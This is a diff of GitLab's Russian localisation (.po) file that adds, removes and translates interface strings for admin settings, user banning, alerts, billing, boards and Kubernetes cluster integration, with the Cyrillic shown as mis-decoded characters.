msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
-msgstr "УÑтановить автоматичеÑкую включенную %{link_start}конфигурацию Ñборочной линии%{link_end} Ð´Ð»Ñ Ð²Ñего ÑкземплÑра. Эта ÐºÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸Ñ Ñборочной линии будет запуÑкатьÑÑ Ð¿Ð¾Ñле ÑобÑтвенной конфигурации проекта."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
+msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr "Укажите домен, который будет иÑпользоватьÑÑ Ð¿Ð¾ умолчанию в приложениÑÑ… Auto Review, а также на Ñтапе автоматичеÑкого Ñ€Ð°Ð·Ð²ÐµÑ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ из проектов."
@@ -2602,11 +2623,8 @@ msgstr "Укажите домен, который будет иÑпользовÐ
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr "Ð¢Ñ€ÐµÐ±ÑƒÐµÐ¼Ð°Ñ ÐºÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸Ñ Ñборки может быть выбрана из каталога %{code_start}gitlab-ci%{code_end} внутри %{link_start}Ñконфигурированного хранилища ÑкземплÑров шаблонов%{link_end} или из предоÑтавленных GitLab конфигурации."
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
-msgstr "При Ñоздании новой переменной Ð¾ÐºÑ€ÑƒÐ¶ÐµÐ½Ð¸Ñ Ð¾Ð½Ð° будет защищена по умолчанию."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
+msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
msgstr ""
@@ -2714,19 +2732,19 @@ msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
msgid "AdminUsers|Ban"
-msgstr ""
+msgstr "Бан"
msgid "AdminUsers|Ban user"
-msgstr ""
+msgstr "Забанить пользователÑ"
msgid "AdminUsers|Ban user %{username}?"
-msgstr ""
+msgstr "Забанить Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ %{username}?"
msgid "AdminUsers|Banned"
msgstr ""
msgid "AdminUsers|Banning the user has the following effects:"
-msgstr ""
+msgstr "Бан Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð¸Ð¼ÐµÐµÑ‚ Ñледующие Ñффекты:"
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2816,7 +2834,7 @@ msgid "AdminUsers|It's you!"
msgstr "Это вы!"
msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
-msgstr ""
+msgstr "Узнать больше о %{link_start}забаненных пользователÑÑ….%{link_end}"
msgid "AdminUsers|Log in"
msgstr ""
@@ -2900,13 +2918,13 @@ msgid "AdminUsers|To confirm, type %{username}"
msgstr "Ð”Ð»Ñ Ð¿Ð¾Ð´Ñ‚Ð²ÐµÑ€Ð¶Ð´ÐµÐ½Ð¸Ñ, введите %{username}"
msgid "AdminUsers|Unban"
-msgstr ""
+msgstr "Разбанить"
msgid "AdminUsers|Unban %{username}?"
-msgstr ""
+msgstr "Разбанить Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ %{username}?"
msgid "AdminUsers|Unban user"
-msgstr ""
+msgstr "Разбанить пользователÑ"
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2969,7 +2987,7 @@ msgid "AdminUsers|You are about to permanently delete the user %{username}. This
msgstr "Ð’Ñ‹ ÑобираетеÑÑŒ окончательно удалить Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ %{username}. Это удалит вÑе его обÑуждениÑ, запроÑÑ‹ ÑлиÑÐ½Ð¸Ñ Ð¸ ÑвÑзанные Ñ Ð½Ð¸Ð¼Ð¸ группы. Чтобы избежать потери данных, раÑÑмотрите возможноÑÑ‚ÑŒ иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸ %{strongStart}блокировки пользователÑ%{strongEnd}. ПоÑле %{strongStart}ÑƒÐ´Ð°Ð»ÐµÐ½Ð¸Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ%{strongEnd}, Ð½ÐµÐ»ÑŒÐ·Ñ Ð±ÑƒÐ´ÐµÑ‚ его воÑÑтановить или отменить удаление."
msgid "AdminUsers|You ban their account in the future if necessary."
-msgstr ""
+msgstr "При необходимоÑти, в дальнейшем, вы можете забанить его/её учётную запиÑÑŒ."
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2984,7 +3002,7 @@ msgid "AdminUsers|You can always unblock their account, their data will remain i
msgstr ""
msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
-msgstr ""
+msgstr "Ð’Ñ‹ можете разбанить его/её учётную запиÑÑŒ в будущем. Данные оÑтанутÑÑ Ð½ÐµÑ‚Ñ€Ð¾Ð½ÑƒÑ‚Ñ‹Ð¼Ð¸."
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -3016,9 +3034,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3239,12 +3269,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3371,9 +3407,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3440,6 +3473,9 @@ msgstr "Ð’Ñе окружениÑ"
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr "Ð’Ñе группы и проекты"
@@ -3599,9 +3635,6 @@ msgstr "Amazon EKS"
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr "Ð˜Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ð¸Ñ Ñ Amazon EKS позволÑет вам предоÑтавлÑÑ‚ÑŒ клаÑтеры EKS из GitLab."
-msgid "Amazon Web Services"
-msgstr "Amazon Web Services"
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3674,9 +3707,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr "Произошла ошибка при переключении подпиÑки на оповещениÑ"
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr "Произошла ошибка при обновлении приоритета обÑуждениÑ"
@@ -3728,6 +3758,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr "Произошла ошибка при включении Ñлужбы поддержки."
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3818,6 +3851,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr "Произошла ошибка во Ð²Ñ€ÐµÐ¼Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ñ„Ð°Ð¹Ð»Ð¾Ð² Ð´Ð»Ñ - %{branchId}"
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr "Произошла ошибка при получении ÑпиÑка проектов"
@@ -3974,9 +4010,6 @@ msgstr "Произошла ошибка при обновлении коммен
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4253,9 +4286,6 @@ msgstr "Применить метку"
msgid "Apply a template"
msgstr "Применение шаблона"
-msgid "Apply changes"
-msgstr "Применить изменениÑ"
-
msgid "Apply suggestion"
msgstr "Применить предложение"
@@ -4353,15 +4383,9 @@ msgstr "ИмÑ"
msgid "ApprovalRule|Rule name"
msgstr "Ðазвание правила"
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr "Ð¦ÐµÐ»ÐµÐ²Ð°Ñ Ð²ÐµÑ‚ÐºÐ°"
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4751,9 +4775,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4944,9 +4965,6 @@ msgstr "Auto DevOps"
msgid "Auto DevOps enabled"
msgstr "Auto DevOps включен"
-msgid "Auto DevOps, runners and job artifacts"
-msgstr "Auto DevOps, обработчики и артефакты заданий"
-
msgid "Auto stop successfully canceled."
msgstr "ÐвтоматичеÑÐºÐ°Ñ Ð¾Ñтановка уÑпешно отменена."
@@ -5334,6 +5352,9 @@ msgstr "Улучшить"
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5432,10 +5453,10 @@ msgstr ""
msgid "Blocked by %d issue"
msgid_plural "Blocked by %d issues"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "Заблокировано %d обÑуждением"
+msgstr[1] "Заблокировано %d обÑуждениÑми"
+msgstr[2] "Заблокировано %d обÑуждениÑми"
+msgstr[3] "Заблокировано %d обÑуждениÑми"
msgid "Blocked issue"
msgstr "Заблокированное обÑуждение"
@@ -5480,6 +5501,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5541,6 +5565,9 @@ msgstr "Развернуть"
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5571,6 +5598,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5793,6 +5823,9 @@ msgstr "ПроÑмотр артефактов"
msgid "Browse files"
msgstr "ПроÑмотр файлов"
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr "Произошла ошибка при получении артефактов"
@@ -5961,6 +5994,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -6010,12 +6046,12 @@ msgstr "Ð¡Ñ‚Ñ€Ð°Ñ‚ÐµÐ³Ð¸Ñ Ñ€Ð°Ð·Ð²Ñ‘Ñ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ"
msgid "CICD|Jobs"
msgstr "ЗаданиÑ"
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
+msgstr ""
+
msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr "Ð¡Ð±Ð¾Ñ€Ð¾Ñ‡Ð½Ð°Ñ Ð»Ð¸Ð½Ð¸Ñ Auto DevOps запуÑкаетÑÑ Ð¿Ñ€Ð¸ отÑутÑтвии альтернативного файла конфигурации CI."
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
-msgstr "Сборка Auto DevOps будет запущена, еÑли не будет найден иной файл конфигурации CI."
-
msgid "CICD|group enabled"
msgstr "группа включена"
@@ -6058,6 +6094,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr "URL обратного вызова"
@@ -6083,7 +6122,7 @@ msgid "Can't be empty"
msgstr ""
msgid "Can't create snippet: %{err}"
-msgstr ""
+msgstr "Ðе удалоÑÑŒ Ñоздать Ñниппет: %{err}"
msgid "Can't fetch content for the blob: %{err}"
msgstr ""
@@ -6101,7 +6140,7 @@ msgid "Can't scan the code?"
msgstr "Ðе удаетÑÑ Ð¾Ñ‚Ñканировать QR-код?"
msgid "Can't update snippet: %{err}"
-msgstr ""
+msgstr "Ðе удалоÑÑŒ обновить Ñниппет: %{err}"
msgid "Canary"
msgstr "Canary"
@@ -6181,9 +6220,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr "Ðевозможно проводить одновременно неÑколько импортов из Jira"
@@ -6289,15 +6325,15 @@ msgstr "Изменить Ñтап"
msgid "Change path"
msgstr "Изменить путь"
-msgid "Change permissions"
-msgstr "Изменить разрешениÑ"
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr "Изменить ÑтатуÑ"
@@ -6574,6 +6610,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6676,9 +6715,6 @@ msgstr "Выберите файл"
msgid "Choose a group"
msgstr "Выберите группу"
-msgid "Choose a role permission"
-msgstr "Выберите роль"
-
msgid "Choose a template"
msgstr "Выберите шаблон"
@@ -6706,6 +6742,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -7135,9 +7174,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7147,24 +7183,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr "%{appList} уÑпешно уÑтановлены на вашем клаÑтере Kubernetes"
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr "%{title} уÑпешно удалён."
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr "%{title} уÑпешно обновлен."
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -7198,15 +7222,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr "Ð’Ñе данные, не переданные в GitLab, будут удалены и не могут быть воÑÑтановлены."
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr "Ð’Ñе данные будут удалены без возможноÑти воÑÑтановлениÑ."
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7219,9 +7234,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr "Amazon EKS"
@@ -7243,9 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr "Любые запущенные Ñборочные линии будут отменены."
-
msgid "ClusterIntegration|Apply for credit"
msgstr "Подать заÑвку на кредит"
@@ -7264,15 +7273,6 @@ msgstr "Базовое доменное имÑ"
msgid "ClusterIntegration|CA Certificate"
msgstr "Сертификат удоÑтоверÑющего центра"
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr "Комплект Ñертификатов удоÑтоверÑющего центра (формат PEM)"
@@ -7294,9 +7294,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "Выберите, какие из ваших окружений будут иÑпользовать Ñтот клаÑтер."
@@ -7309,15 +7306,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
-msgstr "Проект ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ ÐºÐ»Ð°Ñтером (alpha)"
+msgid "ClusterIntegration|Cluster management project"
+msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr "ТребуетÑÑ Ð½Ð°Ð·Ð²Ð°Ð½Ð¸Ðµ клаÑтера."
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7339,15 +7333,6 @@ msgstr "Скопировать Ð°Ð´Ñ€ÐµÑ API"
msgid "ClusterIntegration|Copy CA Certificate"
msgstr "Копировать Сертификат УдоÑтоверÑющего Центра"
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr "Скопировать точку Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ingress"
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr "Скопировать Ð¸Ð¼Ñ Ñ…Ð¾Ñта Jupyter"
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr "Скопировать точку Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Knative"
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr "Скопировать Ð¸Ð¼Ñ ÐºÐ»Ð°Ñтера Kubernetes"
@@ -7396,12 +7381,6 @@ msgstr "Создать новый клаÑтер на GKE"
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr "СоздаетÑÑ ÐºÐ»Ð°Ñтер Kubernetes"
-msgid "ClusterIntegration|Crossplane"
-msgstr "Crossplane"
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7417,9 +7396,6 @@ msgstr "Знаете ли вы?"
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr "Служба Elastic Kubernetes"
-msgid "ClusterIntegration|Elastic Stack"
-msgstr "Elastic Stack"
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7435,9 +7411,6 @@ msgstr "Включить или выключить Ñоединение GitLab Ñ
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr "Включите Ñтот параметр, еÑли иÑпользуетÑÑ Ñ€Ð¾Ð»ÐµÐ²Ð°Ñ Ð¼Ð¾Ð´ÐµÐ»ÑŒ доÑтупа (RBAC)."
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7480,27 +7453,12 @@ msgstr "Получение проектов"
msgid "ClusterIntegration|Fetching zones"
msgstr "Получение зон"
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "Ð˜Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ð¸Ñ Ñ GitLab"
-msgid "ClusterIntegration|GitLab Runner"
-msgstr "GitLab Runner"
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr "GitLab Runner подключаетÑÑ Ðº репозиторию и выполнÑет Ð·Ð°Ð´Ð°Ð½Ð¸Ñ CI/CD, отправлÑÑ Ñ€ÐµÐ·ÑƒÐ»ÑŒÑ‚Ð°Ñ‚Ñ‹ назад и Ñ€Ð°Ð·Ð²Ð¾Ñ€Ð°Ñ‡Ð¸Ð²Ð°Ñ Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð² продакшн."
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7528,9 +7486,6 @@ msgstr "КлаÑтер группы"
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr "ЕÑли вы наÑтраиваете неÑколько клаÑтеров и вы иÑпользуете Auto DevOps, %{help_link_start}прочтите Ñто%{help_link_end}."
@@ -7540,18 +7495,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr "Ingress"
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr "Точка Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ingress"
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr "Ingress позволÑет маршрутизировать запроÑÑ‹ к Ñлужбам на оÑнове запрошенного хоÑта или пути, объединÑÑ Ñ€Ñд ÑервиÑов в одну точку входа."
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr "ЭкземплÑÑ€ клаÑтера"
@@ -7573,39 +7516,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr "Ð­Ð»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð°Ñ Ð¿Ð¾Ñ‡Ñ‚Ð° Ñмитента"
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr "Ð˜Ð¼Ñ Ñ…Ð¾Ñта ÑервиÑа Jupyter"
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr "Хаб ÑервиÑа Jupyter"
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr "Ð˜Ð¼Ñ Ð¿Ð°Ñ€Ñ‹ ключей"
-msgid "ClusterIntegration|Knative"
-msgstr "Knative"
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr "Доменное Ð¸Ð¼Ñ Knative:"
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr "Точка Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Knative:"
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr "Доменное Ð¸Ð¼Ñ Knative уÑпешно обновлено."
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr "Knative раÑширÑет возможноÑти Kubernetes в чаÑти обеÑÐ¿ÐµÑ‡ÐµÐ½Ð¸Ñ Ð½Ð°Ð±Ð¾Ñ€Ð¾Ð¼ промежуточных компонентов, которые необходимы Ð´Ð»Ñ Ñ€Ð°Ð·Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ Ñовременных, оÑнованных на иÑходных данных и контейнерах, приложений, которые могут выполнÑÑ‚ÑŒÑÑ Ð³Ð´Ðµ угодно: локально, в облаках и даже в Ñторонних дата-центрах."
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7639,9 +7552,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr "Узнайте больше о ÑкземплÑрах клаÑтеров Kubernetes"
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr "Загрузка ролей IAM"
@@ -7690,12 +7600,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr "Ðе найдены VPC"
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7738,9 +7642,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr "ПожалуйÑта, убедитеÑÑŒ, что ваш аккаунт Google отвечает Ñледующим требованиÑм:"
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr "Выберите шаблон DNS Ð´Ð»Ñ Ð´Ð°Ð½Ð½Ð¾Ð¹ Ñозданной конечной точки Ñ Ñ†ÐµÐ»ÑŒÑŽ возможноÑти Ð¾Ð±Ñ€Ð°Ñ‰ÐµÐ½Ð¸Ñ Ðº вашему приложению поÑле того, как оно было развернуто."
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7750,15 +7651,6 @@ msgstr "ПроÑтранÑтво имен проекта (необÑзатель
